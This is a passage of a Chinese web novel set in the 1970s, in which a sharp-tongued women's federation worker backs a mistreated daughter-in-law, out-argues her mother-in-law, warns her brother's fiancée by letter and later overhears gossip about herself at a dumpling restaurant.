宋冬宝惊讶道:“姐,你不是最讨厌大哥吗?咋还给他写信?” 宋知南:“我要给他写信炫耀我取得的成就,我现在有工作有房子,气死他。” “哦哦,我明白了。” 宋冬宝完全理解姐姐的行为,换了他没准也会这么做。 宋知南又说:“对了,还有一点,你回去偷看一下大哥的来信,把他对象的名字记下来告诉我。” 这下宋冬宝不太理解了:“你要大哥对象的名字干啥?” “别管,反正我有用,记得要保密,谁也不准告诉。” “好吧。” 宋知南面带微笑,宋秋实打算走捷径,她拦不住他,不过她得好心的提醒她未来的大嫂一些事,比如说提醒她查看宋秋实的信件,提醒她结婚一定要领结婚证,不要当男人的踏脚石。 她又开始做好人好事了,感觉胸前的红领巾更红更艳了。 第47章 宋知南趁着中午休息时去找赵大刚打听消息。 赵大刚一见着她就笑眯眯地说:“宋同志, 我已经帮你打听好了。我那朋友说能办。” “需要我本人去办吗?” “你也可以不去,你把材料都准备齐全, 写份委托书,我拿过去试试。” 宋知南回去火速准备好所需材料,还准备了一条烟两瓶酒。 赵大刚这次没收:“先办事,事情办好后再说。” 宋知南点头:“那好。” 赵大刚和他的朋友都是痛快人,没两天就办好了。宋知南把礼物补上,还多加了一条腊肉,这条腊肉还是从宋秋实的行李里顺的。 宋知南另外给赵大刚也准备了两瓶水果罐头和一包吃的。 赵大刚连忙推辞,宋知南笑着说:“赵同志,这附近谁不知道你最疼孩子,这些吃的拿给你家孩子吃,你必须得收下, 不然我就不高兴了。” 赵大刚笑呵呵地收下了, “宋同志, 你这人真够意思。其实这不算啥大事,没必要送那么重的礼。”帮忙办事的朋友也很惊喜, 觉得礼有点重了。 宋知南说:“对你们来说不算什么大事, 对于我来说很大,你们帮我解决了一个大麻烦。” 迁完户口,宋知南总算松了一口气,以后宋上进夫妻俩拿捏她的手段又少了一个。 最近关于宋知南身世的传闻甚嚣尘上,众人议论纷纷,还有人向她本人打探消息。宋知南都是一问三不知。那些人失望地离去。 宋知南觉得挺好笑,她不相信自己抱错了, 但别人相信。 她想了一下,为什么别人会相信这个没什么根据的传闻呢?大概是因为宋上进和李玉华的行为挑战了人民群众朴素的三观。他们认为天下的父母都爱自己的孩子, 即使有人偏心但也会有度,完全不心疼孩子的父母应该没有。虐待孩子、不盼着儿女好的父母肯定是后爸后妈或是养父母。所以,他们替宋知南找了一对并不存在的亲生父母。 可是真相很残酷,父母和子女也是讲究缘分的,有些父母就是不爱自己的孩子,有些父母就是见不得自己的孩子过得好。 人过一百,行行色色;人上一千,有忠有奸;人过一万,必有混蛋。混蛋就是混蛋,不能因为他们当了父母就突然人格升华不混蛋了。恰恰相反,很多人就是因为当了父母才初次品尝到权力的滋味,权力让他们原形毕露,他们站在道德的高处,以爱之名,对另一个生命实施全方位的掌控,这种感觉会让他们无比沉迷。 宋知南接受自己的亲生父母是混蛋,但别人好像接受不了,总是试图查出她的真实身世。 对此,她也很无奈,由他们去吧。辟谣是不可能的,局势有利于她,还能给宋上进和李玉华添堵,她凭什么要辟谣? 另外就是,这个年代人民群众的精神生活太匮乏了,她心疼大家,心疼到愿意以身入局,娱乐大家。她可真是好人。 迁户口的事情告一段落,宋知南的心情也随之放松下来,李群英又来邀请她去家里吃饭,宋知南爽快答应。 第一次上门不能空手,但送的礼也不能太重,省得人家有负担。宋知南拿了几个水果和一包点心去了李家。 李群英一家三口热情地站在门口迎接她。李群英长得跟他父亲李明达更像些,李明达身材高大健壮,皮肤黝黑,说话有一股很好玩的幽默劲儿。黄阿姨也挺有意思,夫妻俩说话就跟说相声的。要是没有催婚这事,李家的家庭氛围挺好的。 四人边吃边聊,气氛相当欢乐。 李明达笑着说:“小宋,别看你年纪小,可是性子却很稳重,瞧着比群英还成熟懂事。” 宋知南说:“我跟群英不一样,我家孩子多,父母偏心,家里充满着勾心斗角、尔虞我诈,久而久之,我就锻炼出来了。群英那不是不成熟,她是有底气,被偏爱的孩子总是有恃无恐。我要是有你们这样的父母,我才懒得成熟稳重呢。” “哈哈,你这孩子可真会说话。” 黄阿姨惋惜地摇头叹息:“你这孩子多好啊,你爸妈也真是的。” 宋知南表示看得很开:“唉,我现在已经想开了。虽然我跟父母缘浅,但我有好领导好邻居好朋友。人生在世,哪能事事完美称心?只求个半称心就行了。” “你这话说得很有哲理。” 吃完饭,聊完天,李群英邀请宋知南去她房间里呆一会儿。 宋知南看到满屋子的书,不由得惊叹一声:“你的书真多,冲着这些书,我也要跟你做朋友。” 李群英故意拉着脸说:“怎么?你跟我交朋友,不是冲着我这个人来的?” 宋知南笑嘻嘻地说:“都冲。” 李群英大方地说:“我的书你可以随便借,但有一条得提前说好,借了必须得准时归还。要是弄丢了弄坏了,我以后就再也不借你了。” 宋知南:“你跟我的做法竟然一样。我也是这么干的。我一般不借书,实在要借,得登记。一次不还,再也不借。” 两人相视一笑,她们果然是心有灵犀。 李群英向宋知南请教怎么写文章。 “我以前自诩文笔还不错,但看了你的文章之后,我总觉得我写的文章差了点什么。就是,你的文字总是那么活泼有趣,既幽默又深刻。再看看我的,写得太死板了。” 宋知南看了一下李群英的文章,李群英的文笔也挺好,用词精准,简练有逻辑,基本功很扎实。只不过是一个时代有一个时代的语言风格。宋知南用的语言经过演练迭代之后,显得更好玩些而已。 她认真地说道:“我觉得你的文笔挺好的,你的基本功相当扎实,每个人有每个人的风格,咱们的性格不一样,风格自然也不相同。” 李群英思索片刻,说道:“确实,每个人有每个人的风格。我感觉我怎么想破脑袋也想不出你说的那些话。” 宋知南鼓励李群英投稿:“要不你也试试投个稿,咱俩一起努力呗。” “行,我试试。” 宋知南在李群英房间里呆了半小时就告辞离开了,尽管李群英说她可以随便借书,宋知南并没有开口。作为爱书人,她是知道的,每一本书借出去,就跟借孩子似的,总是让人惦念着。她一般不找人借书,也不轻易借给别人。遇到特别想跟人分享的书,她干脆多买几本送给朋友。 宋知南从李家出来,天已经快黑了,她看到前方一个草垛正在向自己移动。 待到了跟前,才发现原来是徒弟边月背着一大筐干草在向她走来。 边月凑近了一看是宋知南,大声喊道:“师傅。” 宋知南快步过去接过大筐,问道:“你弄这些干草干吗?” “给你引火用啊。我看你总用报纸引火,我肉疼。” 宋知南说:“太沉了,小心压得你不长个。” “我长得够高了。” 送完东西,边月也没多呆,说天黑了还要赶紧回家,一溜烟就跑了。 宋知南拎着一大筐干草进院,心里感叹一句,这个徒弟可真孝顺呀。 她人还没进来,黑米听见脚步声已经摇头摆尾地迎了上来,两条前腿扒在她裤子上,哼哼唧唧地撒娇。 宋知南一路躲避着黑米的热情,回到屋里,打开灯,小猫又向她扑来。 唉,猫狗双全的人也有烦恼,就是不知道该先宠爱谁。 宋知南一会儿逗逗狗,一会儿招招猫。跟毛孩子互动了十分钟才去看书写作。 她看书看到十点,熄灯睡觉,一觉到天亮,新的一天又来了。 宋知南跟往常一样,打着哈欠起来,洗漱、吃早饭,跟猫狗道别,步行去上班。 到了办公室,她先擦桌子再摆凳子,然后泡上一搪瓷缸大麦茶,优哉游哉地摊开报纸,一边喝茶一边看报。 报纸还没看完,就有人来访。 来人是一个三十来岁的女同志,留着一条乌黑油亮的大辫子,长得肩宽腰圆,四方脸盘。 女同志长得很大方,说话却有些畏畏缩缩。 “同志,我叫王翠花,我想问点事。 何黛跟宋知南悄悄对视一眼,明白这人就是昨天那个刁钻的三角眼老太太的儿媳妇王翠花。 何黛亲切地招呼道:“王同志,你请坐,别急,你慢慢说。” 王翠花打量了两人一眼,问道:“你们谁是宋同志?” “我是。” 王翠花继续打量着宋知南,见她年纪这么小,不禁有些迟疑。她真的像大伙说的能为妇女撑腰吗? 宋知南拧开钢笔帽,打开笔记本,说道:“王大姐,我是宋知南,你有什么事可以跟我说。你别看我年纪小,但我的心理年龄成熟。下到八个月,上到八十岁,只要是正常人,我都能理解她们。” 王翠花憨厚地笑了笑,慢慢打开了话匣子:“……我嫁过来了十几年了,先是伺候婆婆的婆婆,接着伺候公公,照顾小姑子小叔子,现在太婆婆和公公都去世了,小姑子出嫁了,小叔子也结婚了。我婆婆和男人开始嫌弃我,说我一辈子没上过班没挣过钱,说我是从乡下来的,没见过世面,上不了台面,小家子气。还撺掇孩子跟我作对,现在连孩子都看不起我……” 王翠花说着说着眼圈红了,哽咽着说道:“我娘家离得远,受了委屈也不知该跟谁说。我听人说,妇联是帮助咱妇女同志的,她们还说宋同志你最爱替我们女同志说话,我就想想来试试看。” 宋知南用笃定的语气说:“王大姐,你来妇联来对了。我们妇联的宗旨就是全心全意为女同志服务。你有委屈尽管说,就把我们当娘家人。” 王翠花擦擦眼泪,继续絮絮叨叨地说下去。她的情绪有些激动,说话也没什么逻辑性,有些话反复说。 宋知南的脸上没有丝毫不耐烦,耐心地安慰她:“你婆婆和你丈夫嫌弃你是个乡下人,那真是太不应该了。没有农民种庄稼他们吃啥喝啥?天下工农是一家,他们说这话是在破坏工农大团结。还说你没见过世面,这世面分好多个面,城里的楼房柏油马路是世面,乡下的农田原野也是世面,乡下人没见过城里的东西,城里人还没见过乡下的东西呢。世界这么大,谁敢说他见过所有的世面?你婆婆和你丈夫说这话才是没见过世面。” 王翠花怔了一下,觉得这话新鲜,她琢磨了一会儿,越琢磨越觉得好。对啊,她以前咋就没这么想过呢。 她由衷地说道:“宋同志,你不愧是文化人,真有见识。要是城里人都像你这么想就好了。” 宋知南接着说:“王大姐,其实你婆婆昨天来过。” 王翠花面带惊讶,随即又咬牙道:“她就是想堵死我所有的路,让我连个诉苦的地方都没有。” 说着说着,她的眼圈又红了,“你说我对她那么好,本以为能用真心换真心,她却这么对我……” 宋知南握着王翠花那粗糙的大手说:“大姐,真心换真心,对好人有用。对于小人,你对他越好他越蹬鼻子上脸。咱们农村有句俗语叫,狗不能喂得太饱,人不能对他太好。” 第48章 王翠花本来想哭, 听到这句话又忍不住笑出了声,“狗不能喂得太好, 人不能对他太好。这话说得还真对,我就是对他们一家人太好了。” 被宋知南这么一打岔,王翠花的情绪放松许多,说话也比刚才有条理多了。 王翠花接着倾诉:“我是乡下来的,没啥文化。我知道我配不上他们家,这些年来我一直很注意,就怕他们说乡下人不讲卫生,粗鲁,像个泼妇,可就算我怎么小心也没用,他们还是照样瞧不起我, 天天横挑鼻子竖挑眼。” 宋知南语气真诚:“大姐, 你人这么好, 为啥这么自卑?为啥觉得低他们一头?实际上,是你男人配不上你。你想啊, 你俩处对象时, 你也没瞒着你的出身,你婆家为啥还愿意娶你呢?还不是因为他们家条件不好,家里有瘫痪的老人,一般姑娘谁愿意嫁给他?也就是大姐你单纯善良,又不太了解他家的情况,才头脑一热嫁了进来。要不然,就凭你这身板这长相, 这性格这能干劲儿,你嫁给谁都过得很好。” 王翠花惊讶得瞪大眼睛:“妹子, 你说得是真心的?是我男人配不上我?” 宋知南语气十分笃定:“那是肯定的。你往深了想,你婆婆你男人是多么精明的人,他们能让自己吃亏吗?杀头的买卖有人做,赔本的买卖没人做,你单纯,他们还单纯?” 王翠花惊讶过后是愤怒:“他大爷的,敢情这一家子得了便宜还卖乖,天天说我配不上他们家,说我嫁到他们家是祖上烧了高香。” 骂完脏话她又觉得不好意思,讪讪一笑:“其实我平常不说脏话的。” 宋知南不以为意:“嗐,骂脏话怎么了?有的人他本来就脏,还不让人骂了?脏话骂出去,心里就干净了。当泼妇怎么了?泼妇活得痛快。我跟你讲,我这辈子有个小目标就是要当一个有文化有智慧的泼妇。” 王翠花瞠目结舌,这世上还有人的目标是当泼妇?那她要是不收敛着,是不是早就实现宋同志的小目标了? 她观察着宋知南的神色,对方一脸严肃,不像是在开玩笑,这让王翠花更加费解。 她考虑了一会儿,还是用过来人的经验劝道:“宋同志,你还年轻,还是别当泼妇,姑娘家的名声很重要的。” 宋知南摆摆手:“要名声有什么用?名声越好的人活得越累,你婆婆在乎名声吗?瞧瞧人家活得多肆意,想欺负你就欺负你。你倒顾忌名声,结果呢?心累身累还落不着好。大姐,你得解放思想。谁最希望你骂不还口打不还手?那肯定是欺负你的人对不对?瞧你这身材这气势,你本不该活得这么憋屈。打个比方说,你就是一头被一根细绳拴住的猛虎,只要你愿意解放你自己,你一吼,你婆婆你男人吓得抖三抖。” 王翠花听得一愣一愣的。今天从宋知南这儿听到的很多话完全颠覆了她的认识。她一时有些消化不良。 宋知南说到这里,停顿下来,喝口水,让嘴休息一会儿。 王翠花从诧异中清醒过来,赶紧表示谢意:“妹子,你真是个好人。你的话我没听过,可我听着特别舒坦。我娘家离得远,有啥心里话也没法跟他们说,现在跟你唠唠,心里也不堵得慌了,特别敞亮。” 宋知南正色道:“我们妇联就是妇女同志的娘家人嘛,有了委屈你就说出来。” “你说得对,你们妇联就是我们的娘家人。” 王翠花还有很多委屈没说出来,但她时间有限,家里还有很多活等着她回去干。她出来的时间长了又得被婆婆说嘴。 她只得起身告辞:“宋同志,我得回去了。谢谢你啊。你真是个认真负责的好同志。” “不客气,大姐你有空再来。” 王翠花走到门口又折了回来,“对了宋同志,我婆婆要是知道我来,会不会来找你们的麻烦?” 宋知南不在意地说:“没事,她要是来,我正好给她讲讲道理。” 王翠花自然知道自己婆婆有多难缠,她面带忧色:“宋同志,你虽然懂得多,但你毕竟年纪小,我婆婆那人……总之你小心些。” “没事,你放心。” 王翠花怀着忐忑的心情回家去了。 王翠花一离开,何黛的大拇指就伸了过来,“宋同志威武。” 宋知南弹了一下她的指甲,“这才哪跟哪儿,咱们的目标是解放全球女性。” 何黛正色道:“在外面,咱们要说解放全人类,你把人家男同志拉下了,人家又该投诉你了。” “你说得对。” 两个相视一笑。 工作间歇,宋知南开始考虑周日吃啥这个大问题,“周日中午,咱们吃饺子怎么样?”她跟何黛提过周日要请客。 何黛推辞道:“饺子太贵了,还得要粮票。要不你请我吃食堂吧。” 宋知南摇头:“食堂吃腻了,我记得你喜欢吃饺子,我也好久没吃了。咱们就去吃水饺。就这么定了。” 两人聊了会儿天,宋知南开始整理记录今天的咨询案例,何黛看了直咂舌:“这也要记下来吗?” 宋知南边写边回答:“最好记录下来,以后可以做为案例参考,方便后面的工作人员,还能留下咱们的名字和作品,一举多得。” 何黛跃跃欲试:“那行,我以后也记录案例。” 宋知南飞快地记录下她和王翠花刚才的谈话内容,注明年月日,签上自己的名字,啪地一下盖上他们办公室的章。 宋知南刚忙完,就听见何黛小声说:“完了,王翠花的婆婆找来了。” 宋知南抬头瞥了一眼,见一个老太太健步如飞地跑过来,那速度就跟上超市抢鸡蛋一样快。 宋知南铺上一张新稿纸,问何黛这老太太叫什么名字。 “好像叫马五妮。” 两人话音刚落,马五妮就冲到了宋知南面前。 她那双三角眼里冒着火光,咬着后槽牙问道:“姓宋的,你跟我儿媳妇说啥了?她一回到家腰板都挺直了,说话口气都变了。她本来就没素质不懂事,你们妇联倒好,不帮着劝就罢了,还替她撑腰,你们可真行。” 宋知南一脸严肃地说道:“马老同志,早就在1949年,领袖就向全世界宣布咱们龙国人民从此站起来了。咋地?你不想让你儿媳妇站起来?你这是压迫贫下中农,妄图复辟封建帝制。” 杠精值加5。 马五妮的嘴巴张成圆形,被噎得一时接不上话来。 马五妮到底久经沙场,也就震惊片刻,很快就反应过来。她气得七窍生烟,提高嗓门:“哎哟歪,你可真厉害,一上来就给我扣那么大的帽子。我压迫她啥了?我还复辟那啥帝制,我有那么大能耐吗?” 宋知南一脸严肃地说:“马同志,伟大领袖还说,妇女能顶半边天。你儿媳妇来妇联说句话你就百般阻挠,还试图威胁工作人员,你这是想一手遮天?这个问题很严重你知不知道?” 杠精值加5。 马五妮气得直跳脚。 宋知南丝毫不受影响,继续一板一眼地询问:“马同志,你家是什么成分?你爷爷奶奶是干啥的?你太爷爷太奶奶是干啥的?交代一下你家祖上九代的成分。” 马老太太气得两眼喷火,一跳老高:“你啥意思?你凭啥查我家的成分?我告诉你,我娘家就是乡下的,我爹娘都是贫农,我娘家是八代贫农,思想红得很。” 宋知南面带诧异:“哦,原来你也是农村出身啊,那你咋还看不起乡下人呢?你这不是看不起自个儿嘛?” 老太太语结。 宋知南自言自语:“不对啊,人咋能看不起自己的出身呢?我觉得你的家庭成分肯定有问题,你爷爷是不是地主?” 马五妮急声反驳:“你爷爷才是地主,你们全家都是地主。” 宋知南一点也不生气:“你怎么这么着急这么紧张?你别急,慢慢交代。” “我交代你个头,我不跟你说了。”马五妮骂骂咧咧地往外走去。 马五妮气得肝疼,一出门就像个大喇叭似的,大力宣扬宋知南多么不讲道理。 她活灵活现、绘声绘色地讲述了自己的遭遇:“哎哟歪,妇联的工作人员真是一届不如一届。那个小宋你们知道吧?她只向着年轻媳妇。我一去,人家就给我扣大帽子,还说我家是地主?我家是八代贫农,哪来的地主?你们不知道,那个王翠花从妇联回来后,腰板都挺直了,说话声都变大了。还说我们家配不上她,还说我们家是在城里找不到媳妇才去的乡下。我呸。我儿子有工作又老实,长得也俊,当初多少有工作的城里姑娘稀罕他……” 围观群众不解地问:“既然有那么多城里姑娘稀罕他,那你家为啥要娶个乡下媳妇?” 马五妮被噎了一下,随即又说道:“我们当初眼瞎糊涂呗。” 还有人刨根问底:“我咋记得因为你公公婆婆老生病,你老头也有病,你到处托人给你儿子说亲,媒人都躲着你走?” 马五妮瞪着眼睛,拔高声调:“没有这回事,你肯定记错了。” …… 马五妮这一番宣传后,众人反应各异。 附近的媳妇们:“宋知南真的替年轻媳妇说话?真有这种好事?” 附近的婆婆们:“连马老太都败在宋知南手里,说明这个小宋有两下子。以后会不会也轮到咱们?” “人家小宋很讲道理,她教训的是马老太那种蛮不讲理的婆婆,咱们都是好人。” “说得也是。” 也有不少跟马老太差不多的人,她们觉得宋知南坏了规矩,婆婆教儿媳妇做人那不是应该的吗?大家都是这么过来的,多年的媳妇熬成婆,你现在不让婆婆耍威风了,那就是在破坏规矩。她们打算以后遇着宋知南,好好跟她说说。 宋知南在下班路上就遇到了认识的不认识的婆婆们。 这些人都自来熟,见着宋知南就聊上了。 “宋同志,我听说你把王翠花的婆婆怼了?” 宋知南正色道:“大娘,那不叫怼,我们是在给她做思想工作。我都是为了她好,俗话说得好,‘地和生百草,人和万事好。前十年看婆,后十年看媳。’婆婆心不好,老了过不好;婆婆心不善,以后没人管。” “可是那做媳妇的不就得听婆婆的,孝顺婆婆吗?” 宋知南瞥了对方一眼,突然问:“媳妇都听婆婆的?都得孝顺婆婆?你以前都听你婆婆的?特别孝顺婆婆?” 老太太梗着脖子回答:“那当然了。” 宋知南正色道:“大娘,你不要觉得我年纪小就蒙我,你当初可是天天跟你婆婆干仗,这附近谁不知道?你还去过妇联哭闹,我们妇联可是有记录的。” 老太太被噎得说不出话来,拿眼瞪着宋知南。 有个眼熟的大婶出来打圆场,“哎呀,都多少年的事了还有记录啊。” 宋知南:“我们可是妇联,当然得有记录。不信你看,这是我今天的记录。” 大婶接过一看,果然是工作记录,不由得啧了一声。 她语重心长地说道:“小宋啊,你的工作能力是强,工作也很有热情。但是吧,这清官难断家务事,有的时候,该和稀泥就得和。你看看你,多好的一个小姑娘,因为总给人调解矛盾让大家伙讨厌,那多不好,你心里也会难受的。” 宋知南身板站得笔直,语调铿锵有力:“领袖教导我们,工作容不得半点马虎,我是全心全意为人民服务。我因为工作被某些人讨厌,就相当于我在战场上受了伤,我一点也不难过,因为这是我革命的勋章。” 众人一脸震撼,竟然还能这么想?人活久了,果然什么人都能见到。 宋知南说完这番话,昂首挺胸地离开了。 确实如此,她不止有被讨厌的勇气,还享受被人讨厌的乐趣,把对手的恨意当勋章。她这么正直这么善良,别人讨厌她一定是她做对了什么。一群人讨厌她,那是因为这群人都认识。今天又是顿悟的一天,收获满满。 第49章 宋知南从马老太那儿得了20个杠精值, 又从这帮老太太这儿得15个杠精值。今天真是物质精神双丰收。 宋知南查看一下杠精值,已经积攒到了两千多。面板上出现了一个杠精徽章, 徽章上面是一个金光闪闪的菩萨图案。 宋知南既惊喜又诧异,杠精也能塑金身?她问统子,统子说天机不可泄露,时间到了她自会透漏。 宋知南虽有好奇,但不强烈,该吃吃该喝喝该杠杠,时间到了,统子自会解释。 她只管努力,上天自有安排。 选工作就得选自己喜欢的,结果怎样都是次要,关键是过程中就能获得精神愉悦。 宋知南的新宣言立即传遍街坊四邻, 私下里被人传播、讨论、批判。 这一连串的消息传到昔日的邻居耳朵中, 魏芬不禁暗暗替宋知南担心。其他人则等着看笑话。 宋上进当着全家的面摇头叹气:“小四这孩子啊, 没有大人管着,越来越野了。以前多乖呀。” 宋知夏低头不语, 以前三妹在家时, 爸妈也总挑她毛病,现在倒说她以前乖了。 宋冬宝却在心里琢磨着,不愧是他姐,现在都这么有名了。虽然她有时候打骂自己感觉不舒服,但一想到她平等的骂所有人,他心里就舒坦了。再想到她跟大哥的矛盾,心里就更高兴了。对了, 姐还交给他一个任务呢,要拿到大哥的通信地址。 想到这里, 宋冬宝就对李玉华说:“妈,你把大哥的地址给我呗,我给大哥回封信。” 李玉华心里高兴,脸上难得带了笑容:“咱们的冬宝长大了,知道跟你哥亲了。” 宋上进说:“这肯定的,到底是亲兄弟嘛。” 一提到亲兄弟,李玉华想起了什么,撇撇嘴:“那也得看谁的亲兄弟,你那兄弟,啧啧。” 宋上进不悦地瞪了李玉华一眼。 宋冬宝顺利拿到宋秋实的地址,他重新看了一遍信,在里面寻找女方的名字。 找到了,女方叫林六宝,这名字起得不知说什么好。 他嘟囔道:“大哥对象的名字跟我重了一个字,都带个宝字。” 李玉华说:“她一个丫头片子名字竟然也带宝。” 宋知夏脱口而出:“女孩的名字咋就不能带宝了?说不定人家爸妈宝贝她呢。” 宋知夏的话音一落,宋上进和李玉华一起看向她。 宋知夏心头一跳,赶紧低下头。 宋上进声音冷淡:“知夏,不要跟大人顶嘴,这个习惯很不好。千万不要学你妹妹。” 李玉华也跟着说:“我看你就是跟知南那个白眼狼学的,你说你学点什么不好?非得学她的毛病?” 宋知夏心里不服,但面上却很老实。 宋冬宝觉得事不关己,完全不在意,正拿笔记下信封上的地址。 宋冬宝拿到地址就赶紧给宋知南送了过去。 宋知南行动迅速,当天就给这个林六宝写了一封信,她在信中实事求是地说宋秋实这人从小又懒又自私,被父母惯得不像样,是穷人家的大少爷。 父母也不同意他在乡下找对象,建议林六宝为了自己,最好慎重考虑一下这门婚事。 如果她一定要嫁给宋秋实,最好领证。城里这边只认结婚证,只摆酒席不领证,户口本上还是未婚,将来宋秋实回城,连婚都不用离,可以直接走人。他回城后可以谎称自己未婚,再继续骗下一个姑娘。 另外他们家已经给宋秋实回信,建议她帮忙留意看一下。宋上进父子俩的信中充满着对她敲骨吸髓的算计,不知道林六宝看到后会作何感想? 除了信,宋知南还给林六宝寄了一捆棉线,一块瑕疵布。毕竟他们这是纺织厂,这类东西不难弄来。 很快就到了星期天,宋知南跟何黛约好去饭店吃饺子,两人约好11点在群众饭店门口见。 何黛先到的,她今天特意打扮了一番,穿了一件浅绿色的确良碎花衬衫。的确良虽然有不透气、质地硬的缺点,但却是七十年代的轻奢品,因为垂感好,不容易皱,人们也叫它抖抖布,街头有句顺口溜,“穿了抖抖布,一看就是大干部”。买一件的确良上衣要花好几十,一般人不舍得买。 宋知南很捧场地“哇”了一声,“的确良就是好看,这颜色非常衬你。” 何黛心里欢喜,小心地往下捋了捋衣角,说道:“就是太贵了,花了一个半月的工资,心疼死我了。” “你喜欢就好,反正能穿好多年呢。” “对,我也是这么跟我妈说的。对了,知南,你不打算买一件?” 宋知南摇头:“等我攒够钱再说。”其实她不喜欢这种不透气的布料,也压根不打算花这个冤枉钱,但没必要到处跟人说。一个时代有一个时代的时尚,可以不跟随,但得尊重。 两人说着话进了饭店,宋知南点了一斤水饺,一个炒菜一个凉菜。水饺每斤1块3,另付一斤粮票。炒菜和凉菜都是2毛,一共花了1块7。 宋知南去窗口交钱拿票,找了个角落的位置坐下等着服务员喊她。 两人正坐着聊天,饭店又进来一群人,走在前头的人宋知南还认识,这不是老熟人江茶和霍峥嵘吗?霍峥嵘旁边是一个身材挺拔、长相英俊的年轻男子,那人说话带着明显的京味,姿态潇洒随意。霍峥嵘对他的态度是客气中带着一丝讨好。 宋知南稍稍打量了那人一眼,这人应该是霍峥嵘的后台之一,好像是帝都大院子弟,具体叫什么名字记不得,只记得作者形容他是什么有品味有能力的顽主。顽主嘛,就是把玩儿当成正经事来做,还得玩出花样,这其中肯定少不了追求姑娘、打架。 宋知南只是随意打量了对方一眼就继续跟何黛聊天。霍峥嵘那帮人坐在宋知南旁边的一张桌子上,因为凳子不够,宋知南这桌人又少,他们就过来拖凳子。江茶和霍峥嵘也注意到了宋知南。 江茶还笑着打了声招呼:“宋同志,何同志,你们也来吃饭。” 何黛笑着回应,宋知南点头致意。 这时,服务员在窗口喊:“水饺好了,谁的水饺?” 宋知南跟何黛一起过去端饺子和饺子汤,两人又跑了一趟端菜。 宋知南把菜放到桌上,说:“菜齐了,咱们开吃。” 宋知南夹了一个饺子,轻咬一口,饺子是猪肉白菜馅的,鲜香可口,皮薄馅多。 两人大快朵颐。 许是两人吃得太香了,引起了旁边那桌客人的注意。那个顽主饶有兴趣的打量着宋知南,笑着问了一句:“饺子好吃吗?” 宋知南头也不抬地说:“当然好吃,你点一盘不就知道了?” 霍峥嵘在旁边说:“华哥,那咱们就点三斤水饺?” 他们那桌点完菜后,一边闲聊一边等上菜。宋知南和何黛两人专心干饭。两人把一大盘饺子和两盘菜全部吃完,连饺子汤都喝干净了。 何黛有些不好意思地笑笑:“饺子实在太好吃了。” 宋知南附和道:“确实好吃,下回咱还来。咱们不愧是好同事好搭档,连吃饭都这么有默契。” 两人相视一笑,心满意足地离开了。 霍峥嵘那桌的人目送着两人离开,那个顽主华哥的目光中带着一丝看到新鲜猎物的跃跃欲试。 宋知南跟何黛一离开,霍峥嵘就提前给华哥打预防针:“华哥,刚才那个姑娘,你可别招惹她。人称妇联朝天椒,纺织厂独头蒜,辣得呛人,逮谁怼谁,路上遇见狗都得骂两声。听说纺织厂的男同志结成联盟抵制她,谁跟她处对象,谁就是大家的公敌。” 华哥不听这个还好,一听更有兴致:“你这么一说我反倒来了兴趣了,我倒想试试她有多呛人。” 其他人看热闹不嫌事大,一齐起哄:“华哥,你就上呗。你把宋知南哄到手再甩了她,好给我们广大男同志出口恶气。” 江茶笑着说道:“你们都别瞎起哄,再说了这里面还有青子呢。”青子是陈青的昵称,他跟宋知南是初中同学,上次在广场邀请宋知南看电影,被她毫不留情地拒绝。 坐在角落里的陈青猛然听到江茶点他的名,赶紧出来表态:“华哥,你不用在乎我。我跟宋知南之间就是个误会。现在咱也弄明白了,人家根本看不上咱。我再也不敢肖想人家了。再说了,她这样的姑娘,我可降不住。” 大家揶揄道:“青子,算你有自知之明。宋知南这样的姑娘你绝对降不住。” 他们大声说笑,肆无忌惮地谈论着宋知南,这些话自然也落在了旁边客人的耳朵里。来这儿吃饭的人都是附近几个工厂的工人和家属,七勾八连的都认识。再加上宋知南又是附近的名人,于是,第二天上午,这些谈话内容辗转几人通过何黛传到了宋知南这里。 何黛气愤地说:“那个人我也注意到了,瞧着人模狗样的,嘴咋那么欠呢?真不要脸。大家整天说女人嘴碎,我看男人的嘴更碎。咱们招他惹他了?吃个饭都要被人议论。” 宋知南淡笑道:“这种男人就跟公狗似的,到处发、情,还特别自恋,他以为他是谁?你别生气,等我见到他好好收拾他。”还追求到手把她甩了,做他的春秋大梦去吧。 两人正说着话,贺胜男回来了,一进来就说:“小何小宋,杨主任让咱们也出个节目在庆典大会上表演,我年纪大了,什么都不会,就靠你们俩了。” 宋知南说:“贺主任,你年纪轻轻,风华正茂,正是当打之年,我们办公室还是得靠你。” 贺胜男指着宋知南笑着说:“嘴还挺贫,这个节目就交给你了。” 何黛举双手赞成:“贺主任,我坚决赞成。”宋知南出节目,她就解放了。 说着,她眨巴着眼睛,可怜兮兮地说:“知南,节目就靠你了,我真的不行,我一上台就紧张得发抖。” 宋知南倒也不推辞,“不就一个节目吗?没问题。” 贺胜男见她答应得这么爽快,心情大好,便问道:“小宋你擅长什么?是唱歌还是跳舞?” “我要说快板,内容我还在想。” 贺胜男:“……” 贺胜男没有打击宋知南的积极性:“也行,你这两天好好准备节目,有什么需要的就告诉我。” “哎。” 贺胜男说完风风火火地离开了。 她一走,何黛又变得活泼起来了:“知南,你真的要说快板?” 宋知南:“我嘴贫,挺适合说这玩意儿。” “那咋说呀?我还没听过呢。” “等我构思好了,说给你听。对了,我需要一个竹板。” 何黛连忙说:“没问题,我让我妈给你做。” …… 宋知南这两天绞尽脑汁写快板台词,台词要简洁明快、生动形象,还得有点意义有点好笑,关键是得押韵顺口。 宋知南三易其稿,终于双庆大典开始的前一天定稿了。 国庆节这天赶上星期四,这个年代没有调休,周四周五放两天假。别的工人放假了,妇联办公室的都得去工会帮忙。宋知南也跟着去忙活了半天。吴明珠陆诗月和江茶也在。 吴明珠报了个独唱的节目,并且得和江茶搭档主持节目。她听说宋知南要说快板,十分感兴趣。 吴明珠拿过台词一看,忍俊不禁,“不错不错,你好好表现。” 她本来还想多跟宋知南聊几句,可惜事情太多,只能拍拍宋知南的肩膀:“你好好准备节目,咱们有空再聊。” 庆典大会是下午1点钟开始的,先是领导讲话,吴厂长和叶副厂长一前一后上台,吴厂长讲话抑扬顿挫,人长得精神,讲话时间短,大家不算烦他。那个叶副厂长就挺招人烦,人长得磕碜不说,讲话内容又臭又长,大家忍着不耐烦听下去,照他这架式,还能再讲一个小时,最后是吴厂长偏过头,小声提醒,叶副厂长才不得不打住,台下众人见状不由得松了口气。 开头几个节目是暖场的,先来一个大合唱,再来一个群舞。平心而论,节目中规中矩,没啥特别的亮点,但胜在走心。大家的精神娱乐比较匮乏,十分给面子,掌声非常热烈。 宋知南的单口快板排在中间,吴明珠负责报幕,轮到宋知南时,她的声音都比刚才响亮许多:“下面有请妇联办公室的宋知南为大家表演一段快板。” 